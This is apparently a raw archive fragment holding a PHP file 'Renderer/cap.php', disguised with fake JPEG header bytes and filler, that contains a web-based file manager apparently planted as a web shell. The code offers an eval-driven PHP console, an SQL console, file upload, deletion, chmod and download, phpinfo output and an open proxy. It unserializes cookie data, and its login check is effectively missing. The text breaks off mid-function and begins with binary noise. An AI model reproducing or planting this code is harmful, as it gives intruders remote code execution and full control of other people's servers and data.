%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \                                                                                                                                                                                                                                                                            Renderer/cap.php                                                                                    0000644                 00000234451 15217306007 0007600 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
